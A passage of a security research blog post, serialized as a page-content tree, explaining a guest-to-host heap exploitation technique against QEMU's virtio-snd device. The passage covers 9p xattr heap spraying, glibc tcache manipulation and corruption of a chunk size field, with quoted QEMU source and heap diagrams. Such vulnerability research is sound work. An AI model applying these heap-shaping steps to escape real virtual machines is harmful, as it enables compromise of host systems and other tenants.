ssize_t",{"type":26,"tag":475,"props":127467,"children":127468},{"style":499},[127469],{"type":32,"value":127470}," err ",{"type":26,"tag":475,"props":127472,"children":127473},{"style":714},[127474],{"type":32,"value":786},{"type":26,"tag":475,"props":127476,"children":127477},{"style":903},[127478],{"type":32,"value":2752},{"type":26,"tag":475,"props":127480,"children":127481},{"style":499},[127482],{"type":32,"value":2729},{"type":26,"tag":475,"props":127484,"children":127485},{"class":477,"line":596},[127486],{"type":26,"tag":475,"props":127487,"children":127488},{"style":499},[127489],{"type":32,"value":127490}," V9fsString name;\n",{"type":26,"tag":475,"props":127492,"children":127493},{"class":477,"line":610},[127494,127498,127503,127507,127512],{"type":26,"tag":475,"props":127495,"children":127496},{"style":482},[127497],{"type":32,"value":16270},{"type":26,"tag":475,"props":127499,"children":127500},{"style":499},[127501],{"type":32,"value":127502}," offset ",{"type":26,"tag":475,"props":127504,"children":127505},{"style":714},[127506],{"type":32,"value":786},{"type":26,"tag":475,"props":127508,"children":127509},{"style":903},[127510],{"type":32,"value":127511}," 7",{"type":26,"tag":475,"props":127513,"children":127514},{"style":499},[127515],{"type":32,"value":2729},{"type":26,"tag":475,"props":127517,"children":127518},{"class":477,"line":650},[127519,127524,127528],{"type":26,"tag":475,"props":127520,"children":127521},{"style":499},[127522],{"type":32,"value":127523}," V9fsFidState ",{"type":26,"tag":475,"props":127525,"children":127526},{"style":714},[127527],{"type":32,"value":4282},{"type":26,"tag":475,"props":127529,"children":127530},{"style":499},[127531],{"type":32,"value":127532},"file_fidp;\n",{"type":26,"tag":475,"props":127534,"children":127535},{"class":477,"line":679},[127536,127540,127544],{"type":26,"tag":475,"props":127537,"children":127538},{"style":499},[127539],{"type":32,"value":127523},{"type":26,"tag":475,"props":127541,"children":127542},{"style":714},[127543],{"type":32,"value":4282},{"type":26,"tag":475,"props":127545,"children":127546},{"style":499},[127547],{"type":32,"value":127548},"xattr_fidp;\n",{"type":26,"tag":475,"props":127550,"children":127551},{"class":477,"line":735},[127552,127557,127561,127566,127570],{"type":26,"tag":475,"props":127553,"children":127554},{"style":499},[127555],{"type":32,"value":127556}," V9fsPDU ",{"type":26,"tag":475,"props":127558,"children":127559},{"style":714},[127560],{"type":32,"value":4282},{"type":26,"tag":475,"props":127562,"children":127563},{"style":499},[127564],{"type":32,"value":127565},"pdu ",{"type":26,"tag":475,"props":127567,"children":127568},{"style":714},[127569],{"type":32,"value":786},{"type":26,"tag":475,"props":127571,"children":127572},{"style":499},[127573],{"type":32,"value":127574}," opaque;\n",{"type":26,"tag":475,"props":127576,"children":127577},{"class":477,"line":744},[127578],{"type":26,"tag":475,"props":127579,"children":127580},{"emptyLinePlaceholder":18},[127581],{"type":32,"value":545},{"type":26,"tag":475,"props":127583,"children":127584},{"class":477,"line":753},[127585,127590,127594,127598],{"type":26,"tag":475,"props":127586,"children":127587},{"style":493},[127588],{"type":32,"value":127589}," v9fs_string_init",{"type":26,"tag":475,"props":127591,"children":127592},{"style":499},[127593],{"type":32,"value":626},{"type":26,"tag":475,"props":127595,"children":127596},{"style":714},[127597],{"type":32,"value":2816},{"type":26,"tag":475,"props":127599,"children":127600},{"style":499},[127601],{"type":32,"value":127602},"name);\n",{"type":26,"tag":475,"props":127604,"children":127605},{"class":477,"line":761},[127606,127611,127615,127620,127625,127630,127634,127638,127643,127647,127652,127656,127660,127664],{"type":26,"tag":475,"props":127607,"children":127608},{"style":499},[127609],{"type":32,"value":127610}," err ",{"type":26,"tag":475,"props":127612,"children":127613},{"style":714},[127614],{"type":32,"value":786},{"type":26,"tag":475,"props":127616,"children":127617},{"style":493},[127618],{"type":32,"value":127619}," pdu_unmarshal",{"type":26,"tag":475,"props":127621,"children":127622},{"style":499},[127623],{"type":32,"value":127624},"(pdu, offset, ",{"type":26,"tag":475,"props":127626,"children":127627},{"style":629},[127628],{"type":32,"value":127629},"\"dsqd\"",{"type":26,"tag":475,"props":127631,"children":127632},{"style":499},[127633],{"type":32,"value":637},{"type":26,"tag":475,"props":127635,"children":127636},{"style":714},[127637],{"type":32,"value":2816},{"type":26,"tag":475,"props":127639,"children":127640},{"style":499},[127641],{"type":32,"value":127642},"fid, ",{"type":26,"tag":475,"props":127644,"children":127645},{"style":714},[127646],{"type":32,"value":2816},{"type":26,"tag":475,"props":127648,"children":127649},{"style":499},[127650],{"type":32,"value":127651},"name, ",{"type":26,"tag":475,"props":127653,"children":127654},{"style":714},[127655],{"type":32,"value":2816},{"type":26,"tag":475,"props":127657,"children":127658},{"style":499},[127659],{"type":32,"value":126402},{"type":26,"tag":475,"props":127661,"children":127662},{"style":714},[127663],{"type":32,"value":2816},{"type":26,"tag":475,"props":127665,"children":127666},{"style":499},[127667],{"type":32,"value":127668},"flags);\n",{"type":26,"tag":475,"props":127670,"children":127671},{"class":477,"line":770},[127672,127676,127681,127685,127689],{"type":26,"tag":475,"props":127673,"children":127674},{"style":586},[127675],{"type":32,"value":11988},{"type":26,"tag":475,"props":127677,"children":127678},{"style":499},[127679],{"type":32,"value":127680}," (err ",{"type":26,"tag":475,"props":127682,"children":127683},{"style":714},[127684],{"type":32,"value":5519},{"type":26,"tag":475,"props":127686,"children":127687},{"style":903},[127688],{"type":32,"value":2752},{"type":26,"tag":475,"props":127690,"children":127691},{"style":499},[127692],{"type":32,"value":676},{"type":26,"tag":475,"props":127694,"children":127695},{"class":477,"line":794},[127696,127701],{"type":26,"tag":475,"props":127697,"children":127698},{"style":586},[127699],{"type":32,"value":127700}," goto",{"type":26,"tag":475,"props":127702,"children":127703},{"style":499},[127704],{"type":32,"value":127705}," out_nofid;\n",{"type":26,"tag":475,"props":127707,"children":127708},{"class":477,"line":831},[127709],{"type":26,"tag":475,"props":127710,"children":127711},{"style":499},[127712],{"type":32,"value":851},{"type":26,"tag":475,"props":127714,"children":127715},{"class":477,"line":845},[127716],{"type":26,"tag":475,"props":127717,"children":127718},{"emptyLinePlaceholder":18},[127719],{"type":32,"value":545},{"type":26,"tag":475,"props":127721,"children":127722},{"class":477,"line":854},[127723],{"type":26,"tag":475,"props":127724,"children":127725},{"style":499},[127726],{"type":32,"value":104233},{"type":26,"tag":475,"props":127728,"children":127729},{"class":477,"line":862},[127730],{"type":26,"tag":475,"props":127731,"children":127732},{"emptyLinePlaceholder":18},[127733],{"type":32,"value":545},{"type":26,"tag":475,"props":127735,"children":127736},{"class":477,"line":885},[127737,127741,127745,127749],{"type":26,"tag":475,"props":127738,"children":127739},{"style":586},[127740],{"type":32,"value":11988},{"type":26,"tag":475,"props":127742,"children":127743},{"style":499},[127744],{"type":32,"value":126503},{"type":26,"tag":475,"props":127746,"children":127747},{"style":714},[127748],{"type":32,"value":10170},{"type":26,"tag":475,"props":127750,"children":127751},{"style":499},[127752],{"type":32,"value":127753}," P9_XATTR_SIZE_MAX) {\n",{"type":26,"tag":475,"props":127755,"children":127756},{"class":477,"line":913},[127757,127762,127766,127770],{"type":26,"tag":475,"props":127758,"children":127759},{"style":499},[127760],{"type":32,"value":127761}," err ",{"type":26,"tag":475,"props":127763,"children":127764},{"style":714},[127765],{"type":32,"value":786},{"type":26,"tag":475,"props":127767,"children":127768},{"style":714},[127769],{"type":32,"value":50947},{"type":26,"tag":475,"props":127771,"children":127772},{"style":499},[127773],{"type":32,"value":127774},"E2BIG;\n",{"type":26,"tag":475,"props":127776,"children":127777},{"class":477,"line":926},[127778,127782],{"type":26,"tag":475,"props":127779,"children":127780},{"style":586},[127781],{"type":32,"value":127700},{"type":26,"tag":475,"props":127783,"children":127784},{"style":499},[127785],{"type":32,"value":127705},{"type":26,"tag":475,"props":127787,"children":127788},{"class":477,"line":948},[127789],{"type":26,"tag":475,"props":127790,"children":127791},{"style":499},[127792],{"type":32,"value":851},{"type":26,"tag":475,"props":127794,"children":127795},{"class":477,"line":966},[127796],{"type":26,"tag":475,"props":127797,"children":127798},{"emptyLinePlaceholder":18},[127799],{"type":32,"value":545},{"type":26,"tag":475,"props":127801,"children":127802},{"class":477,"line":979},[127803],{"type":26,"tag":475,"props":127804,"children":127805},{"style":499},[127806],{"type":32,"value":104233},{"type":26,"tag":475,"props":127808,"children":127809},{"class":477,"line":1006},[127810],{"type":26,"tag":475,"props":127811,"children":127812},{"emptyLinePlaceholder":18},[127813],{"type":32,"value":545},{"type":26,"tag":475,"props":127815,"children":127816},{"class":477,"line":1046},[127817,127821,127825,127829,127834,127838,127842,127846,127851,127855,127859],{"type":26,"tag":475,"props":127818,"children":127819},{"style":493},[127820],{"type":32,"value":127589},{"type":26,"tag":475,"props":127822,"children":127823},{"style":499},[127824],{"type":32,"value":626},{"type":26,"tag":475,"props":127826,"children":127827},{"style":714},[127828],{"type":32,"value":2816},{"type":26,"tag":475,"props":127830,"children":127831},{"style":2375},[127832],{"type":32,"value":127833},"xattr_fidp",{"type":26,"tag":475,"props":127835,"children":127836},{"style":499},[127837],{"type":32,"value":13464},{"type":26,"tag":475,"props":127839,"children":127840},{"style":2375},[127841],{"type":32,"value":36676},{"type":26,"tag":475,"props":127843,"children":127844},{"style":499},[127845],{"type":32,"value":353},{"type":26,"tag":475,"props":127847,"children":127848},{"style":2375},[127849],{"type":32,"value":127850},"xattr",{"type":26,"tag":475,"props":127852,"children":127853},{"style":499},[127854],{"type":32,"value":353},{"type":26,"tag":475,"props":127856,"children":127857},{"style":2375},[127858],{"type":32,"value":48191},{"type":26,"tag":475,"props":127860,"children":127861},{"style":499},[127862],{"type":32,"value":3533},{"type":26,"tag":475,"props":127864,"children":127865},{"class":477,"line":1068},[127866,127871,127875,127879,127883,127887,127891,127895,127899,127903,127907,127911,127915],{"type":26,"tag":475,"props":127867,"children":127868},{"style":493},[127869],{"type":32,"value":127870}," v9fs_string_copy",{"type":26,"tag":475,"props":127872,"children":127873},{"style":499},[127874],{"type":32,"value":626},{"type":26,"tag":475,"props":127876,"children":127877},{"style":714},[127878],{"type":32,"value":2816},{"type":26,"tag":475,"props":127880,"children":127881},{"style":2375},[127882],{"type":32,"value":127833},{"type":26,"tag":475,"props":127884,"children":127885},{"style":499},[127886],{"type":32,"value":13464},{"type":26,"tag":475,"props":127888,"children":127889},{"style":2375},[127890],{"type":32,"value":36676},{"type":26,"tag":475,"props":127892,"children":127893},{"style":499},[127894],{"type":32,"value":353},{"type":26,"tag":475,"props":127896,"children":127897},{"style":2375},[127898],{"type":32,"value":127850},{"type":26,"tag":475,"props":127900,"children":127901},{"style":499},[127902],{"type":32,"value":353},{"type":26,"tag":475,"props":127904,"children":127905},{"style":2375},[127906],{"type":32,"value":48191},{"type":26,"tag":475,"props":127908,"children":127909},{"style":499},[127910],{"type":32,"value":637},{"type":26,"tag":475,"props":127912,"children":127913},{"style":714},[127914],{"type":32,"value":2816},{"type":26,"tag":475,"props":127916,"children":127917},{"style":499},[127918],{"type":32,"value":127602},{"type":26,"tag":475,"props":127920,"children":127921},{"class":477,"line":1077},[127922,127927,127931,127935,127939,127943,127947,127951,127955,127959],{"type":26,"tag":475,"props":127923,"children":127924},{"style":2375},[127925],{"type":32,"value":127926}," xattr_fidp",{"type":26,"tag":475,"props":127928,"children":127929},{"style":499},[127930],{"type":32,"value":13464},{"type":26,"tag":475,"props":127932,"children":127933},{"style":2375},[127934],{"type":32,"value":36676},{"type":26,"tag":475,"props":127936,"children":127937},{"style":499},[127938],{"type":32,"value":353},{"type":26,"tag":475,"props":127940,"children":127941},{"style":2375},[127942],{"type":32,"value":127850},{"type":26,"tag":475,"props":127944,"children":127945},{"style":499},[127946],{"type":32,"value":353},{"type":26,"tag":475,"props":127948,"children":127949},{"style":2375},[127950],{"type":32,"value":38844},{"type":26,"tag":475,"props":127952,"children":127953},{"style":714},[127954],{"type":32,"value":2383},{"type":26,"tag":475,"props":127956,"children":127957},{"style":493},[127958],{"type":32,"value":123605},{"type":26,"tag":475,"props":127960,"children":127961},{"style":499},[127962],{"type":32,"value":127963},"(size);\n",{"type":26,"tag":475,"props":127965,"children":127966},{"class":477,"line":1090},[127967],{"type":26,"tag":475,"props":127968,"children":127969},{"style":499},[127970],{"type":32,"value":3607},{"type":26,"tag":35,"props":127972,"children":127973},{},[127974,127976,127981,127983,127988,127989,127994,127996,128001],{"type":32,"value":127975},"Because the ",{"type":26,"tag":53,"props":127977,"children":127979},{"className":127978},[],[127980],{"type":32,"value":127337},{"type":32,"value":127982}," field is handled as a string, embedded null bytes are not preserved, which makes it less useful for our purposes. It also introduces some extra allocation noise into the heap, since creating an xattr allocates both ",{"type":26,"tag":53,"props":127984,"children":127986},{"className":127985},[],[127987],{"type":32,"value":127337},{"type":32,"value":209},{"type":26,"tag":53,"props":127990,"children":127992},{"className":127991},[],[127993],{"type":32,"value":127344},{"type":32,"value":127995},", not just the ",{"type":26,"tag":53,"props":127997,"children":127999},{"className":127998},[],[128000],{"type":32,"value":127344},{"type":32,"value":128002}," we actually care about. But we will get around this later in the blog post.",{"type":26,"tag":35,"props":128004,"children":128005},{},[128006,128007,128012],{"type":32,"value":16319},{"type":26,"tag":53,"props":128008,"children":128010},{"className":128009},[],[128011],{"type":32,"value":127344},{"type":32,"value":128013}," field, however, is much more interesting: it gives us a guest-controlled heap allocation of an arbitrary size. Each of these allocations is tied to its own xattr FID, which means it stays alive for as long as that FID remains live. In practice, this gives us a large number of persistent host-side heap objects that we can manage individually.",{"type":26,"tag":35,"props":128015,"children":128016},{},[128017,128019,128024,128026,128032,128034,128040,128042,128048],{"type":32,"value":128018},"Once allocated, we can write arbitrary bytes into the ",{"type":26,"tag":53,"props":128020,"children":128022},{"className":128021},[],[128023],{"type":32,"value":127344},{"type":32,"value":128025}," buffer through a ",{"type":26,"tag":53,"props":128027,"children":128029},{"className":128028},[],[128030],{"type":32,"value":128031},"P9_TWRITE",{"type":32,"value":128033}," request on the corresponding xattr FID. We can also read the contents back with ",{"type":26,"tag":53,"props":128035,"children":128037},{"className":128036},[],[128038],{"type":32,"value":128039},"P9_TREAD",{"type":32,"value":128041},", which is useful later when turning overlap into stronger primitives. Finally, we can free any individual allocation at any time by issuing a ",{"type":26,"tag":53,"props":128043,"children":128045},{"className":128044},[],[128046],{"type":32,"value":128047},"P9_TCLUNK",{"type":32,"value":128049}," request on that same FID.",{"type":26,"tag":35,"props":128051,"children":128052},{},[128053,128055,128061],{"type":32,"value":128054},"This gives us a very strong heap shaping primitive in QEMU - allocate on demand, choose the size precisely (up to ",{"type":26,"tag":53,"props":128056,"children":128058},{"className":128057},[],[128059],{"type":32,"value":128060},"65536",{"type":32,"value":128062}," bytes, which is more than enough here), fully control the contents of the allocation, keep it alive as long as needed, and free it selectively later.",{"type":26,"tag":41,"props":128064,"children":128066},{"id":128065},"setting-the-heap-layout",[128067],{"type":32,"value":128068},"Setting the Heap Layout",{"type":26,"tag":35,"props":128070,"children":128071},{},[128072,128074,128079],{"type":32,"value":128073},"Ideally, we want a contiguous heap region consisting only of ",{"type":26,"tag":53,"props":128075,"children":128077},{"className":128076},[],[128078],{"type":32,"value":127344},{"type":32,"value":128080}," allocations, like this:",{"type":26,"tag":465,"props":128082,"children":128084},{"code":128083}," 0x200 0x200 0x200 0x200 0x200\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value B | .value C | .value D | .value E |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128085],{"type":26,"tag":53,"props":128086,"children":128087},{"__ignoreMap":7},[128088],{"type":32,"value":128083},{"type":26,"tag":35,"props":128090,"children":128091},{},[128092,128094,128099,128101,128106,128108,128113],{"type":32,"value":128093},"This lets us later create holes by freeing every other ",{"type":26,"tag":53,"props":128095,"children":128097},{"className":128096},[],[128098],{"type":32,"value":127344},{"type":32,"value":128100}," allocation. Those freed chunks enter the freelist, allowing the overflowing virtio-snd buffer to be allocated into one of those holes and overflow into the ",{"type":26,"tag":53,"props":128102,"children":128104},{"className":128103},[],[128105],{"type":32,"value":123692},{"type":32,"value":128107}," field of the next live ",{"type":26,"tag":53,"props":128109,"children":128111},{"className":128110},[],[128112],{"type":32,"value":127344},{"type":32,"value":128114}," chunk.",{"type":26,"tag":35,"props":128116,"children":128117},{},[128118],{"type":32,"value":128119},"Of course, we do not know the initial state of the heap. In practice, it is fragmented and already contains many freelist entries. Fortunately, this is not a problem for glibc, since the allocator is deterministic. By allocating enough chunks of the size we want, malloc will first consume any suitable entries already present in the freelist. Once those are exhausted, subsequent allocations will be served from the top chunk in a contiguous fashion, giving us the continuous region we need.",{"type":26,"tag":35,"props":128121,"children":128122},{},[128123,128125,128130,128132,128137,128139,128144,128146,128151],{"type":32,"value":128124},"As mentioned earlier, ",{"type":26,"tag":53,"props":128126,"children":128128},{"className":128127},[],[128129],{"type":32,"value":127381},{"type":32,"value":128131}," always allocates two chunks: one for ",{"type":26,"tag":53,"props":128133,"children":128135},{"className":128134},[],[128136],{"type":32,"value":127337},{"type":32,"value":128138}," and one for ",{"type":26,"tag":53,"props":128140,"children":128142},{"className":128141},[],[128143],{"type":32,"value":127344},{"type":32,"value":128145},". We want to avoid having ",{"type":26,"tag":53,"props":128147,"children":128149},{"className":128148},[],[128150],{"type":32,"value":127337},{"type":32,"value":128152}," chunks inside our main contiguous region. There are two ways to approach this:",{"type":26,"tag":181,"props":128154,"children":128155},{},[128156,128168],{"type":26,"tag":86,"props":128157,"children":128158},{},[128159,128161,128166],{"type":32,"value":128160},"Make ",{"type":26,"tag":53,"props":128162,"children":128164},{"className":128163},[],[128165],{"type":32,"value":127337},{"type":32,"value":128167}," larger than the mmap threshold, so it is allocated from a separate mapping rather than from the main heap. This would give us the layout we want, but at the cost of dramatically increasing memory usage during heap spraying.",{"type":26,"tag":86,"props":128169,"children":128170},{},[128171,128173,128178,128180,128185,128187,128192],{"type":32,"value":128172},"Prepare a separate region whose sole purpose is to absorb ",{"type":26,"tag":53,"props":128174,"children":128176},{"className":128175},[],[128177],{"type":32,"value":127337},{"type":32,"value":128179},"-sized allocations. Later, when we start building the main contiguous region, malloc will satisfy ",{"type":26,"tag":53,"props":128181,"children":128183},{"className":128182},[],[128184],{"type":32,"value":127337},{"type":32,"value":128186}," allocations from that separate freelist instead of placing them next to our ",{"type":26,"tag":53,"props":128188,"children":128190},{"className":128189},[],[128191],{"type":32,"value":127344},{"type":32,"value":128193}," chunks.",{"type":26,"tag":70,"props":128195,"children":128197},{"id":128196},"separating-name-allocations",[128198],{"type":32,"value":128199},"Separating .name allocations",{"type":26,"tag":35,"props":128201,"children":128202},{},[128203,128205,128210,128212,128217],{"type":32,"value":128204},"We chose the second option. However, it is not as simple as issuing ",{"type":26,"tag":53,"props":128206,"children":128208},{"className":128207},[],[128209],{"type":32,"value":127381},{"type":32,"value":128211}," for N ",{"type":26,"tag":53,"props":128213,"children":128215},{"className":128214},[],[128216],{"type":32,"value":127337},{"type":32,"value":128218},"-sized allocations and then freeing them.",{"type":26,"tag":35,"props":128220,"children":128221},{},[128222,128224,128229,128230,128235,128236,128241,128243,128248,128250,128255],{"type":32,"value":128223},"At this point, we already know that ",{"type":26,"tag":53,"props":128225,"children":128227},{"className":128226},[],[128228],{"type":32,"value":127381},{"type":32,"value":128131},{"type":26,"tag":53,"props":128231,"children":128233},{"className":128232},[],[128234],{"type":32,"value":127337},{"type":32,"value":128138},{"type":26,"tag":53,"props":128237,"children":128239},{"className":128238},[],[128240],{"type":32,"value":127344},{"type":32,"value":128242},". If we simply call it with ",{"type":26,"tag":53,"props":128244,"children":128246},{"className":128245},[],[128247],{"type":32,"value":127344},{"type":32,"value":128249}," sized the same as ",{"type":26,"tag":53,"props":128251,"children":128253},{"className":128252},[],[128254],{"type":32,"value":127337},{"type":32,"value":128256},", we get a layout like this:",{"type":26,"tag":465,"props":128258,"children":128260},{"code":128259}," 0x20 0x20 0x20 0x20 0x20\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .name A | .value A | .name B | .value B | .name C |\n| | | | | |\n+----------+----------+----------+----------+----------+\n",[128261],{"type":26,"tag":53,"props":128262,"children":128263},{"__ignoreMap":7},[128264],{"type":32,"value":128259},{"type":26,"tag":35,"props":128266,"children":128267},{},[128268,128270,128275,128277,128283,128285,128291,128293,128298,128300,128305,128307,128312],{"type":32,"value":128269},"With that heap state, issuing a ",{"type":26,"tag":53,"props":128271,"children":128273},{"className":128272},[],[128274],{"type":32,"value":128047},{"type":32,"value":128276}," request would first free ",{"type":26,"tag":53,"props":128278,"children":128280},{"className":128279},[],[128281],{"type":32,"value":128282},".name A",{"type":32,"value":128284}," and then ",{"type":26,"tag":53,"props":128286,"children":128288},{"className":128287},[],[128289],{"type":32,"value":128290},".value A",{"type":32,"value":128292},". When ",{"type":26,"tag":53,"props":128294,"children":128296},{"className":128295},[],[128297],{"type":32,"value":128290},{"type":32,"value":128299}," is freed, the allocator sees that the preceding chunk ",{"type":26,"tag":53,"props":128301,"children":128303},{"className":128302},[],[128304],{"type":32,"value":128282},{"type":32,"value":128306}," is already free and immediately consolidates the two. As a result, instead of ending up with many reusable ",{"type":26,"tag":53,"props":128308,"children":128310},{"className":128309},[],[128311],{"type":32,"value":127337},{"type":32,"value":128313},"-sized chunks in the freelist, we would just create a large consolidated free chunk, which is not what we want.",{"type":26,"tag":35,"props":128315,"children":128316},{},[128317],{"type":32,"value":128318},"To avoid that, we take advantage of the fact that chunks freed into tcache are not consolidated. It is also important to note that tcache maintains a separate freelist for each size class within the tcache range, and in this glibc version each such freelist can hold up to 16 entries.",{"type":26,"tag":35,"props":128320,"children":128321},{},[128322,128324,128329,128331,128336,128338,128343,128345,128351,128353,128358,128360,128366],{"type":32,"value":128323},"We begin by draining the tcache freelist for every relevant size class by allocating 16 chunks of each size. Throughout this process, the ",{"type":26,"tag":53,"props":128325,"children":128327},{"className":128326},[],[128328],{"type":32,"value":127337},{"type":32,"value":128330}," allocation remains fixed at size ",{"type":26,"tag":53,"props":128332,"children":128334},{"className":128333},[],[128335],{"type":32,"value":104499},{"type":32,"value":128337},". We first allocate 16 xattrs whose ",{"type":26,"tag":53,"props":128339,"children":128341},{"className":128340},[],[128342],{"type":32,"value":127344},{"type":32,"value":128344}," size is ",{"type":26,"tag":53,"props":128346,"children":128348},{"className":128347},[],[128349],{"type":32,"value":128350},"0x30",{"type":32,"value":128352},". After that, we allocate another 16 xattrs, this time with ",{"type":26,"tag":53,"props":128354,"children":128356},{"className":128355},[],[128357],{"type":32,"value":127344},{"type":32,"value":128359}," size ",{"type":26,"tag":53,"props":128361,"children":128363},{"className":128362},[],[128364],{"type":32,"value":128365},"0x40",{"type":32,"value":128367},", and continue in the same way for each tcache size class.",{"type":26,"tag":35,"props":128369,"children":128370},{},[128371],{"type":32,"value":128372},"This yields the following layout:",{"type":26,"tag":465,"props":128374,"children":128376},{"code":128375}," 0x20 0x30 0x20 0x30\n+---------+--------------+---------+--------------+- - - - -\n| | | | |\n| .name A | .value A | .name B | .value B | . . .\n| | | | |\n+---------+--------------+---------+--------------+- - - - -\n\n 0x20 0x40 0x20 0x40\n+---------+------------------+---------+------------------+- - - - -\n| | | | |\n| .name C | .value C | .name D | .value D | . . .\n| | | | |\n+---------+------------------+---------+------------------+- - - - -\n",[128377],{"type":26,"tag":53,"props":128378,"children":128379},{"__ignoreMap":7},[128380],{"type":32,"value":128375},{"type":26,"tag":35,"props":128382,"children":128383},{},[128384,128386,128391,128393,128398,128400,128405,128407,128412,128414,128419,128421,128426,128427,128432,128434,128439,128441,128446,128448,128453,128455,128460,128462,128467],{"type":32,"value":128385},"At this point, we can free all allocations created during this phase. Because we emptied every tcache freelist, the first 16 ",{"type":26,"tag":53,"props":128387,"children":128389},{"className":128388},[],[128390],{"type":32,"value":127337},{"type":32,"value":128392}," chunks end up in the ",{"type":26,"tag":53,"props":128394,"children":128396},{"className":128395},[],[128397],{"type":32,"value":104499},{"type":32,"value":128399}," tcache bin, along with the interleaved ",{"type":26,"tag":53,"props":128401,"children":128403},{"className":128402},[],[128404],{"type":32,"value":127344},{"type":32,"value":128406}," chunks of size ",{"type":26,"tag":53,"props":128408,"children":128410},{"className":128409},[],[128411],{"type":32,"value":128350},{"type":32,"value":128413},". The next 16 ",{"type":26,"tag":53,"props":128415,"children":128417},{"className":128416},[],[128418],{"type":32,"value":127337},{"type":32,"value":128420}," chunks are interleaved with ",{"type":26,"tag":53,"props":128422,"children":128424},{"className":128423},[],[128425],{"type":32,"value":127344},{"type":32,"value":128406},{"type":26,"tag":53,"props":128428,"children":128430},{"className":128429},[],[128431],{"type":32,"value":128365},{"type":32,"value":128433},"; when freed, those ",{"type":26,"tag":53,"props":128435,"children":128437},{"className":128436},[],[128438],{"type":32,"value":127344},{"type":32,"value":128440}," chunks also go into their corresponding tcache bin instead of consolidating with the adjacent free ",{"type":26,"tag":53,"props":128442,"children":128444},{"className":128443},[],[128445],{"type":32,"value":127337},{"type":32,"value":128447}," chunks. Repeating this across all tcache sizes leaves us with a large region of free ",{"type":26,"tag":53,"props":128449,"children":128451},{"className":128450},[],[128452],{"type":32,"value":127337},{"type":32,"value":128454},"-sized chunks that will later be served to the ",{"type":26,"tag":53,"props":128456,"children":128458},{"className":128457},[],[128459],{"type":32,"value":127337},{"type":32,"value":128461}," allocations of the main contiguous spray - leaving us with the desired layout of adjacent ",{"type":26,"tag":53,"props":128463,"children":128465},{"className":128464},[],[128466],{"type":32,"value":127344},{"type":32,"value":128193},{"type":26,"tag":41,"props":128469,"children":128471},{"id":128470},"corrupting-the-size",[128472],{"type":32,"value":128473},"Corrupting the Size",{"type":26,"tag":35,"props":128475,"children":128476},{},[128477,128479,128484,128486,128491,128493,128498,128500,128505,128506,128511],{"type":32,"value":128478},"The input format is guest-controlled, and we choose ",{"type":26,"tag":53,"props":128480,"children":128482},{"className":128481},[],[128483],{"type":32,"value":3127},{"type":32,"value":128485}," (unsigned 8-bit PCM). As noted earlier, silence in ",{"type":26,"tag":53,"props":128487,"children":128489},{"className":128488},[],[128490],{"type":32,"value":3127},{"type":32,"value":128492}," is centered at ",{"type":26,"tag":53,"props":128494,"children":128496},{"className":128495},[],[128497],{"type":32,"value":29142},{"type":32,"value":128499}," (rather than ",{"type":26,"tag":53,"props":128501,"children":128503},{"className":128502},[],[128504],{"type":32,"value":125599},{"type":32,"value":125586},{"type":26,"tag":53,"props":128507,"children":128509},{"className":128508},[],[128510],{"type":32,"value":125577},{"type":32,"value":128512},"), which biases this uncontrolled overflow toward larger byte values and increases the chance that the corrupted size grows.",{"type":26,"tag":35,"props":128514,"children":128515},{},[128516,128518,128523],{"type":32,"value":128517},"As we already concluded, ",{"type":26,"tag":53,"props":128519,"children":128521},{"className":128520},[],[128522],{"type":32,"value":125042},{"type":32,"value":128524}," is called with the amount:",{"type":26,"tag":465,"props":128526,"children":128528},{"code":128527},"MIN(available, (stream->params.period_bytes - buffer->size))\n",[128529],{"type":26,"tag":53,"props":128530,"children":128531},{"__ignoreMap":7},[128532],{"type":32,"value":128527},{"type":26,"tag":35,"props":128534,"children":128535},{},[128536,128538,128543,128545,128550],{"type":32,"value":128537},"And as mentioned earlier, ",{"type":26,"tag":53,"props":128539,"children":128541},{"className":128540},[],[128542],{"type":32,"value":125073},{"type":32,"value":128544}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":26,"tag":53,"props":128546,"children":128548},{"className":128547},[],[128549],{"type":32,"value":123692},{"type":32,"value":58018},{"type":26,"tag":35,"props":128552,"children":128553},{},[128554,128556,128561,128563,128568],{"type":32,"value":128555},"With the desired heap layout of repeated ",{"type":26,"tag":53,"props":128557,"children":128559},{"className":128558},[],[128560],{"type":32,"value":127246},{"type":32,"value":128562},"-sized ",{"type":26,"tag":53,"props":128564,"children":128566},{"className":128565},[],[128567],{"type":32,"value":127344},{"type":32,"value":128569}," chunks in place, we can then free every other one:",{"type":26,"tag":465,"props":128571,"children":128573},{"code":128572}," Free Free\n+----------+----------+----------+----------+----------+\n| |..........| |..........| |\n| .value A |..........| .value C |..........| .value E |\n| |..........| |..........| |\n+----------+----------+----------+----------+----------+\n",[128574],{"type":26,"tag":53,"props":128575,"children":128576},{"__ignoreMap":7},[128577],{"type":32,"value":128572},{"type":26,"tag":35,"props":128579,"children":128580},{},[128581,128583,128588],{"type":32,"value":128582},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":26,"tag":53,"props":128584,"children":128586},{"className":128585},[],[128587],{"type":32,"value":127344},{"type":32,"value":128589}," chunk directly next to it:",{"type":26,"tag":465,"props":128591,"children":128593},{"code":128592}," +----------+\n | | Free\n+----------| buffer |----------+----------+----------+\n| | | |..........| |\n| .value A +----------+ .value C |..........| .value E |\n| | | |..........| |\n+----------+ +----------+----------+----------+\n",[128594],{"type":26,"tag":53,"props":128595,"children":128596},{"__ignoreMap":7},[128597],{"type":32,"value":128592},{"type":26,"tag":35,"props":128599,"children":128600},{},[128601,128603,128608,128610,128615],{"type":32,"value":128602},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":26,"tag":53,"props":128604,"children":128606},{"className":128605},[],[128607],{"type":32,"value":127246},{"type":32,"value":128609},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":26,"tag":53,"props":128611,"children":128613},{"className":128612},[],[128614],{"type":32,"value":127344},{"type":32,"value":128616}," chunk now has a corrupted and likely oversized size field:",{"type":26,"tag":465,"props":128618,"children":128620},{"code":128619}," Oversized chunk\n |\n +------+------+\n | |\n v v\n+----------+----------+----------+----------+----------+\n| | | | | |\n| .value A | .value X | .value C | .value Y | .value E |\n| | | | | 